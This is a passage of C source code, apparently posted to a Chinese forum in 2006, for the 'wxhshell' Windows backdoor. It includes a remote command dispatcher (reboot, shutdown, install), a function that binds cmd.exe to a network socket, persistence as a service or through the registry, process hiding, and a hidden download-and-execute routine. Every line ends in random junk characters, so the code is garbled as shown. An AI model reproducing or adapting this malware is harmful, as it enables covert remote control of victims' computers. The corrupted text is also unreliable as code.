  Bj}^\Pc;}  
  // 帮助 ?jt}*q>X]  
  case '?': { &A)B~"[~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A~ +S1  
    break; s]mY*@a%  
  } 4Hn`'+b  
  // 安装 k^%B5  
  case 'i': { )m{Ye0!RD  
    if(Install()) AUNQA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $m+sNEAa  
    else UIAj]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x-<)\L&  
    break; gV`=jAE_  
    } [],1lRYI9_  
  // 卸载 \eb|eN0i  
  case 'r': { &q~:~   
    if(Uninstall()) iMFgmM|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q~Hh\Lt  
    else }gMDXy}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4e;y G>  
    break; GbA.UM ~  
    } Ru>uL@w  
  // 显示 wxhshell 所在路径 MR,R}B$  
  case 'p': { I,VH=Yn5,  
    char svExeFile[MAX_PATH]; 3a 1u  
    strcpy(svExeFile,"\n\r"); Cc<,z*T  
      strcat(svExeFile,ExeFile); ~$f;U  
        send(wsh,svExeFile,strlen(svExeFile),0); RJH,  
    break; )0e2ic/  
    } bb`':3%  
  // 重启 mVsIAC$}8  
  case 'b': { ~+bGN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wwowez tER  
    if(Boot(REBOOT)) b}w C|\s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EVUq--)~  
    else { #E+gXan  
    closesocket(wsh); V0(o~w/W%!  
    ExitThread(0); ]I.n\2R]om  
    } l?DJJ|>O  
    break; #9 fWAF  
    } 'K*AV7>E  
  // 关机 p,<&zHb>K  
  case 'd': { GF:`>u{C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R@yyur~'_(  
    if(Boot(SHUTDOWN)) Hiv!BV|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Enq|Y$qm  
    else { -MugnB6  
    closesocket(wsh); gx:;&4AD  
    ExitThread(0); q )lnS )  
    } c$,_>tcP  
    break; I.@hW>k  
    } @[?!s%*2  
  // 获取shell  oM1 6C|  
  case 's': { ]PP:oriWl  
    CmdShell(wsh); dj&}Gedy  
    closesocket(wsh); 7"*|2Xq  
    ExitThread(0); CG&`16KN7  
    break; o1OBwPj  
  } O:/y Ac`  
  // 退出 E%TpJl'U  
  case 'x': { W"xP(7X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w$5A|%Y+V}  
    CloseIt(wsh); uH^ PQ  
    break; "4j:[9vR\  
    } +1Ph<zq"  
  // 离开 DrvtH+e  
  case 'q': { "?GebA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  ql&*6KZ"  
    closesocket(wsh); iG ,t_??  
    WSACleanup(); LDy<k=;o  
    exit(1); ?vGf fMm  
    break; $H'X V"<o  
        } |\uYv|sT  
  } Er:?M_ev  
  } y466A]|  
Y"e EkT\  
  // 提示信息  QI!i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7yiJ1K<bIt  
} 3|@t%K  
  } ;<G<1+  
;+I4&VieK  
  return; TQ1WVq }*  
} Lg`Jp&Kg  
, Ut Hc]  
// shell模块句柄 [ij,RE7,T  
int CmdShell(SOCKET sock) g>7Y~_}  
{ {lzG*4?  
STARTUPINFO si; L$Z(+6m5  
ZeroMemory(&si,sizeof(si)); qMS}t3X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _b4fS'[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ; a/cty0Ch  
PROCESS_INFORMATION ProcessInfo; jlKGXD)Q[  
char cmdline[]="cmd"; U06o ;s(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EH+~].PJd  
  return 0; '3kcD7  
} MdhT!?  
O'}l lo  
// 自身启动模式 *"G8  
int StartFromService(void) =!-5+I#e  
{ ^4`&EF  
typedef struct _& 4its  
{ h <[+HsI  
  DWORD ExitStatus; `:-J+<`  
  DWORD PebBaseAddress; 0B0G2t&hr  
  DWORD AffinityMask; U?U(;nSR\A  
  DWORD BasePriority; jgvh[@uB?  
  ULONG UniqueProcessId; :?r*p>0$  
  ULONG InheritedFromUniqueProcessId; `f'C[a"  
}   PROCESS_BASIC_INFORMATION; fEu9Jk  
+>3]%i- \  
PROCNTQSIP NtQueryInformationProcess; 5&4F,v[zp  
yCM{M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <~%t$:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9Nl* 4  
U %:c],Fk  
  HANDLE             hProcess; S[@6Lp3q_  
  PROCESS_BASIC_INFORMATION pbi; 9|K*G~J  
':;LrTc'K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &?$\Y,{  
  if(NULL == hInst ) return 0; Cals?u#U=  
B {i&~k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Tj,Nmb>Q7'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g+Ph6W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,eELRzjl  
uU+s!C9r  
  if (!NtQueryInformationProcess) return 0; O=O(3Pf>  
-"Gl 4)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L/k40cEI^z  
  if(!hProcess) return 0; WX*cICb5  
mvf _@2^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qU6BA \ZL  
712=rUI%!  
  CloseHandle(hProcess); Z oTNm  
&y3B)#dIJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  $o+&Y5:  
if(hProcess==NULL) return 0; `p"U  
t+}uIp42<  
HMODULE hMod; px&=((Z7>  
char procName[255]; H*qD: N  
unsigned long cbNeeded; gO{W#%  
"X?LAo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T^.{9F]*S  
dt.-C_MO  
  CloseHandle(hProcess); S 1>Z6  
 'O1.6*K  
if(strstr(procName,"services")) return 1; // 以服务启动 2<.Vv\ =  
v=+k"gm6  
  return 0; // 注册表启动 u-/3(dKt  
} J:W'cH$cR  
0N1' $K$\  
// 主模块 .5k^f5a  
int StartWxhshell(LPSTR lpCmdLine) M7H~;S\3IM  
{ xucIjPi]  
  SOCKET wsl; .%hQJ{vf-^  
BOOL val=TRUE; wR1K8b".DC  
  int port=0; wG6FS  
  struct sockaddr_in door; "w1(g=n  
XkoWL  
  if(wscfg.ws_autoins) Install(); ,yi2O]5e>!  
vcD'~)G(*  
port=atoi(lpCmdLine); g&aT!%QvX+  
W,'3D~g8  
if(port<=0) port=wscfg.ws_port; 'h:!m/1  
K#U{<pUP  
  WSADATA data; :dbV2'vIQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B(E tXB9  
v7$9QVze  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^AH-+#5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $:HLRl{2E  
  door.sin_family = AF_INET; W.GN0(uG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <VgE39 [  
  door.sin_port = htons(port);  XDvq7ZD  
,9$>d}N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Lj-{t% }  
closesocket(wsl); $ACe\R/%  
return 1; >|S>J+(  
} V?WMj $l<  
gNi}EP5>  
  if(listen(wsl,2) == INVALID_SOCKET) { :Q#H(\26r  
closesocket(wsl); \Em-.%c  
return 1; DwC@"i.  
} F_~6n]Sr  
  Wxhshell(wsl); 5lG|A6+w{  
  WSACleanup(); A&?WP\_z  
O^Dc&w  
return 0; m>+A*M8  
Bzwx0c2VY8  
} qIUC2,&g  
(T`q++  
// 以NT服务方式启动 %L.rcbg:<c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zZw@c?  
{ d<)s@Ntgm  
DWORD   status = 0; TyyRj4>  
  DWORD   specificError = 0xfffffff; %!W 6<ioW  
rQuOt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pIrv$^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]b!R-G!gV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 's/27=o  
  serviceStatus.dwWin32ExitCode     = 0; \Z8Y(]6*  
  serviceStatus.dwServiceSpecificExitCode = 0; L)=8mF.  
  serviceStatus.dwCheckPoint       = 0; T=O l`?5  
  serviceStatus.dwWaitHint       = 0; 2@OBeR  
`,Q<YT ~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ] +sSg=N7i  
  if (hServiceStatusHandle==0) return; >dcqPNDg1^  
1_XO3P\  
status = GetLastError(); ]r]+yM|  
  if (status!=NO_ERROR) -y9Pn>~V  
{ Ed8U;U b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fa/P%9db  
    serviceStatus.dwCheckPoint       = 0; C!oksI  
    serviceStatus.dwWaitHint       = 0; re2Fv:4{  
    serviceStatus.dwWin32ExitCode     = status; c@)pKi#W  
    serviceStatus.dwServiceSpecificExitCode = specificError; L)j]~^P$-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8p3ZF@c~ t  
    return; Rqt[D @;m  
  } ejDCmD  
wZ}n3R,   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u_hE7#i  
  serviceStatus.dwCheckPoint       = 0; yDDghW'\WU  
  serviceStatus.dwWaitHint       = 0; dW:w<{a!R  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); / N*HE  
} U=_~{[/  
=t ~+63)  
// 处理NT服务事件,比如:启动、停止 O>kXysMv>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :tg@HyY)  
{ Cw@k.{*7,  
switch(fdwControl) DHSU?o#jY  
{ KLj4 LOs  
case SERVICE_CONTROL_STOP: 0:PH[\Z  
  serviceStatus.dwWin32ExitCode = 0; H ,01o5J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3m?@7F  
  serviceStatus.dwCheckPoint   = 0; ID_|H?.  
  serviceStatus.dwWaitHint     = 0; oR!n bm  
  { &! 5CwEIF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  rytGr9S  
  } jcT{ugpq  
  return; 0m)-7@  
case SERVICE_CONTROL_PAUSE: "{,\]l&o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A?^A*e  
  break; :%+^}   
case SERVICE_CONTROL_CONTINUE: Ki&WS<,0Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `bBfNI?3d*  
  break; mRg ,A\  
case SERVICE_CONTROL_INTERROGATE: \pT^Zhp)  
  break; $ l0eI  
}; 58a)&s[+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vq?8u/  
} H'j_<R N  
Z{8exym  
// 标准应用程序主函数 HMl!?%%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d;*OO xQV  
{ jb#1&L 14  
5#N"WHz!  
// 获取操作系统版本 U4 go8  
OsIsNt=GetOsVer(); tIc0S!H#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mgJ]@s}9  
;C7BoHB9  
  // 从命令行安装 Rh05W_?Js  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2^k^"<h5j  
Dohl,d  
  // 下载执行文件 jpPdjQ  
if(wscfg.ws_downexe) { oho AUT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S|O%h}AH;  
  WinExec(wscfg.ws_filenam,SW_HIDE); *Xf[b)FR  
} QSl:=Q'  
_>Pe]3  
if(!OsIsNt) { c,{&  
// 如果时win9x,隐藏进程并且设置为注册表启动 sM);gI14  
HideProc(); +aXMHT"U  
StartWxhshell(lpCmdLine); wz|Q%.%?[  
} =DQdPA\K  
else ly[\mGr  
  if(StartFromService()) wh7i G8jCz  
  // 以服务方式启动 YFC0KU  
  StartServiceCtrlDispatcher(DispatchTable); ] k3GFPw  
else 6KZ8 .m}:  
  // 普通方式启动 `W.vW8 !#  
  StartWxhshell(lpCmdLine); %nG~u,_2f  
S>vVjq?~l(  
return 0; `% #zMS  
}
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只看该作者 1 发表于: 2006-10-10
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